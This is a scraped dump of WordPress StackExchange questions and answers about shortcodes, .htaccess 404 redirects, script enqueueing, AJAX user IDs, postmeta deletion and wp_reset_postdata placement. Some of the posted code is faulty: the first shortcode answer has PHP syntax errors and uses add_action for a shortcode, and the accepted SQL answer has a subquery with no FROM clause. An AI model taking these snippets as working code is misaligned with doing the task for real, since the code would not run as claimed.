&lt;div class=\"container post_box\"&gt; --&gt;\n &lt;div class=\"container\"&gt;\n\n &lt;?php \n $data=get_the_post_thumbnail();\n ?&gt;\n &lt;div class=\"SidebarPost\"&gt;\n &lt;a href=\"&lt;?php echo get_permalink(); ?&gt;\" data-img='&lt;?php echo ($data); ?&gt;' class=\"postimage_sidebar\" &gt;&lt;?php echo ($data); ?&gt;\n &lt;/a&gt; \n &lt;h5&gt;&lt;a href=\"&lt;?php echo get_permalink(); ?&gt;\"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h5&gt;\n &lt;/div&gt; \n &lt;/div&gt;\n\n\n &lt;?php \n }\n } \n\n}\n add_shortcode('DisplayPayablePost', 'sidebar_detail_payedpost');\n</code></pre>\n\n<p>This code display paid post in the sidebar and it works fine for me you can add HTML and PHP like this way.</p>\n\n<p>It's fully tested and proper code, I just hope this works for you.</p>\n" } ]
2017/05/23
[ "https://wordpress.stackexchange.com/questions/267764", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120242/" ]
Am working in a Tamil blog site.There I want to display date in Tamil language.(ie) செவ்வாய்க்கிழமை, மே 23, 2017 .I need to display like this in wordpress site.But I dont want to change all.Only the date in tamil.
To create a shortcode from your functions, you need to use the following code: ``` function my_shortcode_function(){ if (get_option('pixieclash-standings-background') && get_option('pixieclash-standings-background') != null) { $background = esc_url(get_option('pixieclash-standings-background')) } else { $background = get_stylesheet_directory_uri() . '/images/standings-bg.jpg'; } $headTxt = get_option('pixieclash-standings-section-heading-top'); $bottomText = get_option('pixieclash-standings-section-heading-bottom'); if(!empty($headTxt)){ $text_header = '<h4>'. esc_attr($headTxt);.'</h4>'; } else { $text_header = ''; } if(!empty($bottomText)) { $text_footer = '<h3>'.esc_attr($bottomText); .'</h3>'; } else { $text_footer =''; } if(!empty($headTxt) || !empty($bottomText)){ $container = '<article class="head">'. $text_header . $text_footer.'</article>'; } $groups = pixieclash_standings_groups(); if(!empty($groups)) { $i = 1; $onlyOne = (count($groups) > 1 ) ? '' : 'onlyOne'; $competitors =''; foreach($groups as $group){ $competitors .= pixieclash_standings($group['id']); } } $data = ' <section id="standing" style="background-image: url("'.$background.'");"> <div class="container">'.$container.$competitors'</div> </section>'; return $data; } add_action('my-table-shortcode','pixieclash_standings_two'); ``` Make sure you choose a unique name for your shortcode. Now use the following to output your shortcode: `[my-table-shortcode]` Or, use `do_shortcode()` in a PHP file: `echo do_shortcode('[my-table-shortcode]');` **PS :** Please note, because i didn't have access to your functions i couldn't exactly validate the code. You can check your error log for any problems if the code didn't work as intended. **UPDATE** There is a real easy solution that i think works better in your case, and it's using `ob_start()`. This will record every output of your content and store it in a value to return later. Take a look at this: ``` function my_content_shortcode(){ ob_start();?> <section id="standing" style="background-image: url('<?php echo (get_option('pixieclash-standings-background') && get_option('pixieclash-standings-background') != null) ? esc_url(get_option('pixieclash-standings-background')) : get_stylesheet_directory_uri() . '/images/standings-bg.jpg' ?>');"> <div class="container"> <?php $headTxt = get_option('pixieclash-standings-section-heading-top'); $bottomText = get_option('pixieclash-standings-section-heading-bottom'); ?> <?php if(!empty($headTxt) || !empty($bottomText)): ?> <article class="head"> <?php if(!empty($headTxt)): ?> <h4><?php echo esc_attr($headTxt); ?></h4> <?php endif; ?> <?php if(!empty($bottomText)): ?> <h3><?php echo esc_attr($bottomText); ?></h3> <?php endif; ?> </article> <?php endif; ?> <?php $groups = pixieclash_standings_groups(); if(!empty($groups)): $i = 1; $onlyOne = count($groups) > 1 ? '' : 'onlyOne'; foreach($groups as $group): $competitors = pixieclash_standings($group['id']); ?> <article class="table <?php echo ($i % 2 != 0) ? 'first' : 'second' ?> <?php echo $onlyOne ?>"> <h5 class="group-name"><?php esc_html_e('Group', 'pixieclash') ?> <?php echo esc_attr($group['name']) ?></h5> <table class="table-body"> <thead> <tr> <th><?php esc_html_e('Competitor', 'pixieclash') ?></th> <th rel="match<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('M', 'pixieclash') ?></th> <th rel="win<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('W', 'pixieclash') ?></th> <th rel="till<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('T', 'pixieclash') ?></th> <th rel="loss<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('L', 'pixieclash') ?></th> <th rel="point<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('P', 'pixieclash') ?></th> </tr> </thead> <tbody> <?php if(!empty($competitors)): foreach($competitors as $competitor): ?> <tr> <td> <figure> <img src="<?php echo esc_url($competitor['logo']) ?>" alt="<?php echo esc_attr($competitor['name']) ?>"> </figure> <?php echo esc_attr($competitor['name']) ?> </td> <td rel="match<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['played']) ?></td> <td rel="win<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['wins']) ?></td> <td rel="till<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['till']) ?></td> <td rel="loss<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['losses']) ?></td> <td rel="point<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['points']) ?></td> </tr> <?php endforeach; else: ?> <tr> <td colspan="6"><?php esc_html_e('No competitors', 'pixieclash') ?></td> </tr> <?php endif; ?> </tbody> </table> </article> <?php $i ++; endforeach; endif; ?> </div> </section><?php $content = ob_get_contents(); ob_end_clean(); return $content; } add_action('my-table-shortcode','my_content_shortcode'); ``` Now, using `[my-table-shortcode]` in a text widget or content will exactly act as your section, same as using `echo do_shortcode('[my-table-shortcode]');` in a php file.
267,781
<p>For a client I want to do the following thing with .htaccess:</p> <p>domainname.com/path must redirect to sub.domainname.com/path, but only if the first page is a deleted page / 404 page.</p> <p>So all the existing pages must stay intact, and the deleted pages must redirect to a subdomain with the same path.</p> <p>I used the following code on a Wordpress website, to only redirect 404 error pages to a new domain:</p> <pre><code>RewriteEngine On RewriteCond %{HTTP_HOST} ^domain\.com$ [NC] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^ http://example.com%{REQUEST_URI} [L,R=301] </code></pre> <p>I have overwritten the following code in the existing htaccess file:</p> <pre><code>&lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </code></pre> <p></p> <p>It is not working. The problem is that now ALL pages are redirected to the new domain.</p> <p>Only the 404's must be redirected.</p> <p>What do I wrong?</p> <p>Thanks!</p>
[ { "answer_id": 267785, "author": "Farhad Sakhaei", "author_id": 114465, "author_profile": "https://wordpress.stackexchange.com/users/114465", "pm_score": 0, "selected": false, "text": "<p>Use this direction: </p>\n\n<pre><code>ErrorDocument 404 http://example.com/404/\n</code></pre>\n" }, { "answer_id": 267786, "author": "cybmeta", "author_id": 37428, "author_profile": "https://wordpress.stackexchange.com/users/37428", "pm_score": 2, "selected": false, "text": "<p>As far I understand, .htaccess rewrite rules are executed before the request is proccesed by WordPress, or even by PHP engine, so you can not know if a URL will trigger a 404 error in .htaccess, you can not check if a given path will trigger a 404 at that level. You need to do it in WordPress itself:</p>\n\n<pre><code>// See https://developer.wordpress.org/reference/hooks/template_redirect/\nadd_action( 'template_redirect', 'cyb_redirect_not_found_paths' );\nfunction cyb_redirect_not_found_paths() {\n\n // See https://developer.wordpress.org/reference/functions/is_404/\n if( is_404() ) {\n\n if( $_SERVER['REQUEST_URI'] == '/your_path' ) {\n\n $url_to = 'redirecton_rul';\n\n // See https://developer.wordpress.org/reference/functions/wp_redirect/\n wp_redirect( $url_to );\n exit;\n\n }\n\n }\n\n}\n</code></pre>\n" } ]
2017/05/23
[ "https://wordpress.stackexchange.com/questions/267781", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120256/" ]
For a client I want to do the following thing with .htaccess: domainname.com/path must redirect to sub.domainname.com/path, but only if the first page is a deleted page / 404 page. So all the existing pages must stay intact, and the deleted pages must redirect to a subdomain with the same path. I used the following code on a Wordpress website, to only redirect 404 error pages to a new domain: ``` RewriteEngine On RewriteCond %{HTTP_HOST} ^domain\.com$ [NC] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^ http://example.com%{REQUEST_URI} [L,R=301] ``` I have overwritten the following code in the existing htaccess file: ``` <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] ``` It is not working. The problem is that now ALL pages are redirected to the new domain. Only the 404's must be redirected. What do I wrong? Thanks!
As far I understand, .htaccess rewrite rules are executed before the request is proccesed by WordPress, or even by PHP engine, so you can not know if a URL will trigger a 404 error in .htaccess, you can not check if a given path will trigger a 404 at that level. You need to do it in WordPress itself: ``` // See https://developer.wordpress.org/reference/hooks/template_redirect/ add_action( 'template_redirect', 'cyb_redirect_not_found_paths' ); function cyb_redirect_not_found_paths() { // See https://developer.wordpress.org/reference/functions/is_404/ if( is_404() ) { if( $_SERVER['REQUEST_URI'] == '/your_path' ) { $url_to = 'redirecton_rul'; // See https://developer.wordpress.org/reference/functions/wp_redirect/ wp_redirect( $url_to ); exit; } } } ```
267,824
<p>I tried everything and my action hook wp_enqueue_scripts doesn't work! What can stop it from working? This is my code inside the plugin. The plugin is activated:</p> <pre><code>function wpb_adding_scripts() { error_log("try 9"); } add_action ('wp_enqueue_scripts', 'wpb_adding_scripts'); </code></pre>
[ { "answer_id": 267826, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 1, "selected": false, "text": "<p>The proper way to enqueue your scripts is the following:</p>\n\n<pre><code>function my_scripts(){\n wp_enqueue_script ('my-js','YOUR JS URL HERE');\n wp_enqueue_style ('my-style','YOUR CSS URL HERE');\n}\nadd_action('wp_enqueue_scripts','my_scripts');\n</code></pre>\n\n<p>You are using the hook that fires when queuing scripts, but not queuing anything. Take a look into Codex to notice the difference between <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\"><code>wp_enqueue_script()</code></a> and <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/wp_enqueue_scripts\" rel=\"nofollow noreferrer\"><code>wp_enqueue_scripts()</code></a>.</p>\n\n<p>Also, the 5th argument of <code>wp_enqueue_script()</code> allows you to queue your script in the footer. If you have problem with yout <code>wp_head()</code> hook, try the footer:</p>\n\n<p><code>wp_enqueue_script ('my-js' , 'YOUR JS URL HERE' , '' , '' , true);</code></p>\n\n<p>This will queue your js file in the footer, which is required when you need the DOM to be ready for the js file to process.</p>\n" }, { "answer_id": 267868, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 3, "selected": true, "text": "<p>The <code>wp_enqueue_scripts</code> function is hooked to run on the <a href=\"https://developer.wordpress.org/reference/hooks/wp_head/\" rel=\"nofollow noreferrer\"><code>wp_head</code> action</a>, which is triggered by the <a href=\"https://developer.wordpress.org/reference/functions/wp_head/\" rel=\"nofollow noreferrer\"><code>wp_head()</code> function</a>.</p>\n\n<p>This function should be placed within the <code>&lt;head&gt;</code> tag of your theme's markup.</p>\n\n<p>If we refer to the core file <a href=\"https://github.com/WordPress/WordPress/blob/master/wp-includes/default-filters.php#L240\" rel=\"nofollow noreferrer\"><code>default-filters.php</code></a>, we can see the many functions that rely on <code>wp_head</code> for output.</p>\n" } ]
2017/05/23
[ "https://wordpress.stackexchange.com/questions/267824", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/75915/" ]
I tried everything and my action hook wp\_enqueue\_scripts doesn't work! What can stop it from working? This is my code inside the plugin. The plugin is activated: ``` function wpb_adding_scripts() { error_log("try 9"); } add_action ('wp_enqueue_scripts', 'wpb_adding_scripts'); ```
The `wp_enqueue_scripts` function is hooked to run on the [`wp_head` action](https://developer.wordpress.org/reference/hooks/wp_head/), which is triggered by the [`wp_head()` function](https://developer.wordpress.org/reference/functions/wp_head/). This function should be placed within the `<head>` tag of your theme's markup. If we refer to the core file [`default-filters.php`](https://github.com/WordPress/WordPress/blob/master/wp-includes/default-filters.php#L240), we can see the many functions that rely on `wp_head` for output.
267,855
<p>I have hooked an ajax call for a logged-in user, and now I need to catch his data inside the receiving call (the code that receives the action call). How can I get the user's ID reliably? This code is inside my plugin definition file and the code inside the function (error_log("we're in....kind of");) is being called:</p> <pre><code>add_action( 'wp_ajax_create_team', 'create_team' ); function create_team() { error_log("we're in....kind of"); } } </code></pre>
[ { "answer_id": 267856, "author": "totels", "author_id": 23446, "author_profile": "https://wordpress.stackexchange.com/users/23446", "pm_score": 1, "selected": false, "text": "<p>If you want specific data for your ajax hook, you need to send it with your request.</p>\n\n<pre><code>&lt;script&gt;\n jQuery(document).ready(function($) {\n var data = {\n 'action': 'my_action',\n 'user_id': 1234\n };\n jQuery.post(ajaxurl, data, function(response) {\n alert('Got this from the server: ' + response);\n });\n });\n&lt;/script&gt;\n</code></pre>\n\n<p>often times <code>wp_localize_script</code> is used as a handy way to output php data as javascript objects that you can then read from the <code>window</code> object.</p>\n" }, { "answer_id": 267867, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 3, "selected": true, "text": "<p><a href=\"https://codex.wordpress.org/Function_Reference/wp_get_current_user\" rel=\"nofollow noreferrer\"><code>wp_get_current_user</code></a> will get you the <a href=\"https://codex.wordpress.org/Class_Reference/WP_User\" rel=\"nofollow noreferrer\"><code>WP_User</code></a> object for the currently logged-in user:</p>\n\n<pre><code>add_action( 'wp_ajax_create_team', 'create_team' );\nfunction create_team() {\n $current_user = wp_get_current_user();\n echo $current_user-&gt;ID;\n die;\n}\n</code></pre>\n" } ]
2017/05/23
[ "https://wordpress.stackexchange.com/questions/267855", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/75915/" ]
I have hooked an ajax call for a logged-in user, and now I need to catch his data inside the receiving call (the code that receives the action call). How can I get the user's ID reliably? This code is inside my plugin definition file and the code inside the function (error\_log("we're in....kind of");) is being called: ``` add_action( 'wp_ajax_create_team', 'create_team' ); function create_team() { error_log("we're in....kind of"); } } ```
[`wp_get_current_user`](https://codex.wordpress.org/Function_Reference/wp_get_current_user) will get you the [`WP_User`](https://codex.wordpress.org/Class_Reference/WP_User) object for the currently logged-in user: ``` add_action( 'wp_ajax_create_team', 'create_team' ); function create_team() { $current_user = wp_get_current_user(); echo $current_user->ID; die; } ```
267,865
<p>I have entries in wp_postmeta like so (shortened for brevity:</p> <blockquote> <p><strong>post_id | meta_key | meta_value</strong></p> <p>integer | _thumbnail_id | integer</p> <p>integer | rafi | integer</p> </blockquote> <p>Now it's easy to select and delete all rows containing _thumb.</p> <p>Same with rows containing rafi.</p> <p>What I need to do is delete the rows with a common post_id AND both _thumb and rafi.</p> <p>The reason is I only want to remove the featured image from posts that have the rafi key set.</p> <p>I can delete matching _thumbnail_id rows thusly:</p> <blockquote> <p>global $wpdb;</p> <p>$wpdb->query( "</p> <pre><code>DELETE FROM $wpdb-&gt;postmeta WHERE meta_key = '_thumbnail_id' </code></pre> <p>" );</p> </blockquote> <p>But I am not sure how to proceed in terms of doing the proper selecting of the matching rows to set up the deletion.</p> <p>Thanks for any ideas!</p>
[ { "answer_id": 267886, "author": "Mike", "author_id": 60200, "author_profile": "https://wordpress.stackexchange.com/users/60200", "pm_score": 1, "selected": false, "text": "<p>Here's what I came up with. I tested by enabling the \"Random Auto Featured Image\" plugin, which adds the missing thumbnails and adds the meta key rafi.</p>\n\n<p>I then disable the plugin, and add the following code to functions.php.</p>\n\n<p>Checking the database shows the expected results.</p>\n\n<p>The next step is to incorporate this code into an undo/cleanup function for the plugin.</p>\n\n<pre><code>$sql = \"SELECT * from wp_postmeta\";\n\n$result = $wpdb-&gt;get_results($sql);\n\nforeach( $result as $results ) {\n\n $mid = $results-&gt;meta_id;\n $pid = (string)$results-&gt;post_id;\n\n\n if ($results-&gt;meta_key == 'rafi_RandFeat'){\n foreach( $result as $results1 ) {\n if($results1-&gt;meta_key == '_thumbnail_id' &amp;&amp; $results1-&gt;post_id == $pid){\n $wpdb-&gt;query( \"\n DELETE FROM $wpdb-&gt;postmeta\n WHERE meta_id = $mid;\n \");\n\n $wpdb-&gt;query( \"\n DELETE FROM $wpdb-&gt;postmeta\n WHERE meta_id = $results1-&gt;meta_id;\n \");\n\n };\n };\n };\n};\n</code></pre>\n" }, { "answer_id": 267924, "author": "CodeMascot", "author_id": 44192, "author_profile": "https://wordpress.stackexchange.com/users/44192", "pm_score": 3, "selected": true, "text": "<p>After 5 hours of searching finally I wrote the SQL query and that is-</p>\n\n<pre><code>DELETE FROM {$wpdb-&gt;postmeta} \nWHERE post_id IN (SELECT post_id \n FROM (SELECT post_id \n FROM {$wpdb-&gt;postmeta} \n WHERE meta_key LIKE '_thumbnail_id' \n AND post_id IN(SELECT post_id \n WHERE meta_key LIKE 'rafi')) \n AS s) \n</code></pre>\n\n<p>I saw your answer above, but using this kinda <code>SQL</code> query for this kinda problem is best practice as well as better. </p>\n\n<p>Hope this helps.</p>\n" } ]
2017/05/24
[ "https://wordpress.stackexchange.com/questions/267865", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/60200/" ]
I have entries in wp\_postmeta like so (shortened for brevity: > > **post\_id | meta\_key | meta\_value** > > > integer | \_thumbnail\_id | integer > > > integer | rafi | integer > > > Now it's easy to select and delete all rows containing \_thumb. Same with rows containing rafi. What I need to do is delete the rows with a common post\_id AND both \_thumb and rafi. The reason is I only want to remove the featured image from posts that have the rafi key set. I can delete matching \_thumbnail\_id rows thusly: > > global $wpdb; > > > $wpdb->query( " > > > > ``` > DELETE FROM $wpdb->postmeta > > WHERE meta_key = '_thumbnail_id' > > ``` > > " ); > > > But I am not sure how to proceed in terms of doing the proper selecting of the matching rows to set up the deletion. Thanks for any ideas!
After 5 hours of searching finally I wrote the SQL query and that is- ``` DELETE FROM {$wpdb->postmeta} WHERE post_id IN (SELECT post_id FROM (SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key LIKE '_thumbnail_id' AND post_id IN(SELECT post_id WHERE meta_key LIKE 'rafi')) AS s) ``` I saw your answer above, but using this kinda `SQL` query for this kinda problem is best practice as well as better. Hope this helps.
267,871
<p>I made my very own WordPress theme from scratch and I don't use a header nor a footer for it (so no header.php or footer.php files present). All of the important content is directly in the index.php file. </p> <p>So I was wondering where I can put my meta tags in. Specifically this meta tag, </p> <pre><code>&lt;meta name="viewport" content="width=device-width, initial-scale=1.0"/&gt; </code></pre> <p>I'm currently making my theme responsive and so far, all my css media queries are not working at all.</p> <p>Can I just put it in my index.php file or do I have to set up a function in the functions.php file?</p> <p>Thanks for any help!</p>
[ { "answer_id": 267886, "author": "Mike", "author_id": 60200, "author_profile": "https://wordpress.stackexchange.com/users/60200", "pm_score": 1, "selected": false, "text": "<p>Here's what I came up with. I tested by enabling the \"Random Auto Featured Image\" plugin, which adds the missing thumbnails and adds the meta key rafi.</p>\n\n<p>I then disable the plugin, and add the following code to functions.php.</p>\n\n<p>Checking the database shows the expected results.</p>\n\n<p>The next step is to incorporate this code into an undo/cleanup function for the plugin.</p>\n\n<pre><code>$sql = \"SELECT * from wp_postmeta\";\n\n$result = $wpdb-&gt;get_results($sql);\n\nforeach( $result as $results ) {\n\n $mid = $results-&gt;meta_id;\n $pid = (string)$results-&gt;post_id;\n\n\n if ($results-&gt;meta_key == 'rafi_RandFeat'){\n foreach( $result as $results1 ) {\n if($results1-&gt;meta_key == '_thumbnail_id' &amp;&amp; $results1-&gt;post_id == $pid){\n $wpdb-&gt;query( \"\n DELETE FROM $wpdb-&gt;postmeta\n WHERE meta_id = $mid;\n \");\n\n $wpdb-&gt;query( \"\n DELETE FROM $wpdb-&gt;postmeta\n WHERE meta_id = $results1-&gt;meta_id;\n \");\n\n };\n };\n };\n};\n</code></pre>\n" }, { "answer_id": 267924, "author": "CodeMascot", "author_id": 44192, "author_profile": "https://wordpress.stackexchange.com/users/44192", "pm_score": 3, "selected": true, "text": "<p>After 5 hours of searching finally I wrote the SQL query and that is-</p>\n\n<pre><code>DELETE FROM {$wpdb-&gt;postmeta} \nWHERE post_id IN (SELECT post_id \n FROM (SELECT post_id \n FROM {$wpdb-&gt;postmeta} \n WHERE meta_key LIKE '_thumbnail_id' \n AND post_id IN(SELECT post_id \n WHERE meta_key LIKE 'rafi')) \n AS s) \n</code></pre>\n\n<p>I saw your answer above, but using this kinda <code>SQL</code> query for this kinda problem is best practice as well as better. </p>\n\n<p>Hope this helps.</p>\n" } ]
2017/05/24
[ "https://wordpress.stackexchange.com/questions/267871", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/118296/" ]
I made my very own WordPress theme from scratch and I don't use a header nor a footer for it (so no header.php or footer.php files present). All of the important content is directly in the index.php file. So I was wondering where I can put my meta tags in. Specifically this meta tag, ``` <meta name="viewport" content="width=device-width, initial-scale=1.0"/> ``` I'm currently making my theme responsive and so far, all my css media queries are not working at all. Can I just put it in my index.php file or do I have to set up a function in the functions.php file? Thanks for any help!
After 5 hours of searching finally I wrote the SQL query and that is- ``` DELETE FROM {$wpdb->postmeta} WHERE post_id IN (SELECT post_id FROM (SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key LIKE '_thumbnail_id' AND post_id IN(SELECT post_id WHERE meta_key LIKE 'rafi')) AS s) ``` I saw your answer above, but using this kinda `SQL` query for this kinda problem is best practice as well as better. Hope this helps.
267,907
<p>I am creating a child theme archive template. I don't know how many posts will be displayed, which is fine except that i want to have a dividing line after each post except the last one.</p> <p>I am using the usual loop, have added a <code>$loopcount</code> variable, and then an include to create the formatting/display and add the <code>&lt;div class="divider"&gt;&lt;/div&gt;</code>:</p> <pre><code>while ( have_posts() ) : the_post(); $loopCount++; include(locate_template('template-parts/content-newsandevents.php')); endwhile; </code></pre> <p>I have looked in the codex but I can't find a way to know how many posts the loop is going to do in advance. (I could use jQ to do this, but it would be neater to do it with php I think)</p>
[ { "answer_id": 267908, "author": "Aftab", "author_id": 64614, "author_profile": "https://wordpress.stackexchange.com/users/64614", "pm_score": 1, "selected": false, "text": "<p>By default it is 10.</p>\n\n<p>You can change it from \"Settings -> Reading\" and then \"Blog pages show at most\"</p>\n\n<p>URL - <a href=\"http://www.yoursite.com/wp-admin/options-reading.php\" rel=\"nofollow noreferrer\">http://www.yoursite.com/wp-admin/options-reading.php</a></p>\n" }, { "answer_id": 267914, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 3, "selected": true, "text": "<p>Try reversing the logic, put the dividing line before the post but only do it after the first post.</p>\n\n<p>To answer your question though, you can get the loop count with the following:</p>\n\n<pre><code>global $wp_query;\n$count = count( $wp_query-&gt;posts );\n// or\n$count = $wp_query-&gt;post_count;\n</code></pre>\n" } ]
2017/05/24
[ "https://wordpress.stackexchange.com/questions/267907", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/81925/" ]
I am creating a child theme archive template. I don't know how many posts will be displayed, which is fine except that i want to have a dividing line after each post except the last one. I am using the usual loop, have added a `$loopcount` variable, and then an include to create the formatting/display and add the `<div class="divider"></div>`: ``` while ( have_posts() ) : the_post(); $loopCount++; include(locate_template('template-parts/content-newsandevents.php')); endwhile; ``` I have looked in the codex but I can't find a way to know how many posts the loop is going to do in advance. (I could use jQ to do this, but it would be neater to do it with php I think)
Try reversing the logic, put the dividing line before the post but only do it after the first post. To answer your question though, you can get the loop count with the following: ``` global $wp_query; $count = count( $wp_query->posts ); // or $count = $wp_query->post_count; ```
267,936
<p>I've searched for this in the Q&amp;A but I was unable to find it. When I read answers throughout the site I see <code>wp_reset_postdata()</code> placed in multiple areas with the <code>have_posts()</code> conditional and outside the conditional all together. When I read the documentation on <a href="https://developer.wordpress.org/reference/functions/wp_reset_postdata/" rel="noreferrer"><code>wp_reset_postdata()</code></a> all it states is:</p> <blockquote> <p>After looping through a separate query, this function restores the $post global to the current post in the main query.</p> </blockquote> <p>with a snippet of:</p> <pre><code>&lt;?php // example args $args = array( 'posts_per_page' =&gt; 3 ); // the query $the_query = new WP_Query( $args ); ?&gt; &lt;?php if ( $the_query-&gt;have_posts() ) : ?&gt; &lt;!-- start of the secondary loop --&gt; &lt;?php while ( $the_query-&gt;have_posts() ) : $the_query-&gt;the_post(); ?&gt; &lt;?php the_title(); ?&gt; &lt;?php the_excerpt(); ?&gt; &lt;?php endwhile; ?&gt; &lt;!-- end of the secondary loop --&gt; &lt;!-- put pagination functions here --&gt; &lt;!-- reset the main query loop --&gt; &lt;?php wp_reset_postdata(); ?&gt; &lt;?php else: ?&gt; &lt;p&gt;&lt;?php _e( 'Sorry, no posts matched your criteria.' ); ?&gt;&lt;/p&gt; &lt;?php endif; ?&gt; </code></pre> <p>but when I reference other ways, such as "<a href="https://wordpress.stackexchange.com/questions/120407/how-to-fix-pagination-for-custom-loops">How to fix pagination for custom loops?</a>" it's after the conditional:</p> <pre><code>// Output custom query loop if ( $custom_query-&gt;have_posts() ) : while ( $custom_query-&gt;have_posts() ) : $custom_query-&gt;the_post(); // Loop output goes here endwhile; endif; // Reset postdata wp_reset_postdata(); </code></pre> <p>Wouldn't it be appropriate to have it afterwards and not within the <code>have_posts()</code> conditional because if you do use an else statement the arguments aren't being reset if you do not have posts. So my question is where should <code>wp_reset_postdata()</code> go?</p>
[ { "answer_id": 267937, "author": "Hossein", "author_id": 120345, "author_profile": "https://wordpress.stackexchange.com/users/120345", "pm_score": 0, "selected": false, "text": "<p>Normally I use it outside of <code>if($query-&gt;have_posts())</code> statement. This way you can make sure that even if there is no post, then it will reset the query. I don't have any problem by placing it after (and outside) of <code>if($query-&gt;have_posts())</code> statement.</p>\n" }, { "answer_id": 267942, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<p>You did it correctly! <strong>It's the example that's wrong</strong>. Sadly almost all examples of queries have this problem</p>\n\n<p>Normally putting it after the conditional has no ill effects, but when nesting loops it could cause problems in edge cases. For 99.9% of use cases this isn't an issue.</p>\n\n<p>By putting it inside the conditional you've ensured the the postdata is only reset if it was changed.</p>\n\n<p>Consider this edge case:</p>\n\n<pre><code>while( have_posts() ) {\n the_post();\n ... stuff...\n $q = new WP_Query( $args );\n if ( $q-&gt;have_posts() ) {\n while( $q-&gt;have_posts() ) {\n $q-&gt;the_post();\n the_title();\n $related_posts = new WP_Query( $args2 );\n if ( $related_posts-&gt;have_posts() ) {\n while( $related_posts-&gt;have_posts() ) {\n $related_posts-&gt;the_post();\n //\n }\n }\n wp_reset_postdata();\n\n the_content();\n }\n }\n wp_reset_postdata();\n}\n</code></pre>\n\n<p>Here we're doing a nested loop to fetch related posts, but notice what happens if no related posts are found and <code>$related_posts-&gt;have_posts()</code> returns <code>false</code>, the postdata is reset back to that of the main loop, and you get the main queries post content, not that of the <code>$q</code> query</p>\n" }, { "answer_id": 267949, "author": "Radoslav Georgiev", "author_id": 59084, "author_profile": "https://wordpress.stackexchange.com/users/59084", "pm_score": 3, "selected": true, "text": "<p><strong>Short version:</strong></p>\n\n<p>As Tom J Nowell said,</p>\n\n<blockquote>\n <p>You shouldn't cleanup if there's nothing to clean</p>\n</blockquote>\n\n<p><strong>Long version:</strong></p>\n\n<p>However, if you put <code>wp_reset_postdata()</code> after (or outside) the loop, it would still work perfectly fine. I have used the function in various scenarios, including something like this:</p>\n\n<pre><code>dynamic_sidebar( 'main-sidebar' );\nwp_reset_postdata();\n</code></pre>\n\n<p>The reason was that some widget was querying posts without cleaning after itself.</p>\n\n<p>Just keep in mind which query you want to reset. In Tom's example, no matter if <code>wp_reset_postdata</code> is within the <code>if</code> statement or not, once it gets called, you will have problems because it will directly go back to the main post instead of the parent custom loop.</p>\n\n<p>What the function does is tell a <code>WP_Query</code> object to restore the current post to the global scope. Since it's a function instead of a method, then there is a single object it works with - the global <code>$wp_query</code> instance of the <code>WP_Query</code> object.</p>\n\n<p>If you have custom loops, where you use a newly generated <code>WP_Query</code>, you should use the <code>reset_postdata</code> method of that query:</p>\n\n<pre><code>$pages = new WP_Query( 'post_type=page' );\nwhile( $pages-&gt;have_posts() ) {\n $pages-&gt;the_post();\n\n // Page title\n echo '&lt;h1&gt;'; the_title(); echo '&lt;/h1&gt;';\n\n $books = new WP_Query( 'post_type=book&amp;...' );\n if( $books-&gt;have_posts() ) {\n while( $books-&gt;have_posts() ) {\n $books-&gt;the_post();\n\n // Book title\n echo '&lt;li&gt;'; the_title(); echo '&lt;/li&gt;';\n }\n\n // Don't go back to the global post, go back to the \"page\"\n // wp_reset_postdata();\n $pages-&gt;reset_postdata();\n }\n\n // Page content\n the_content();\n}\n\n// Finally, reset the main query\nwp_reset_postdata();\n</code></pre>\n\n<p>Hope this sums it up :)</p>\n" } ]
2017/05/24
[ "https://wordpress.stackexchange.com/questions/267936", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/25271/" ]
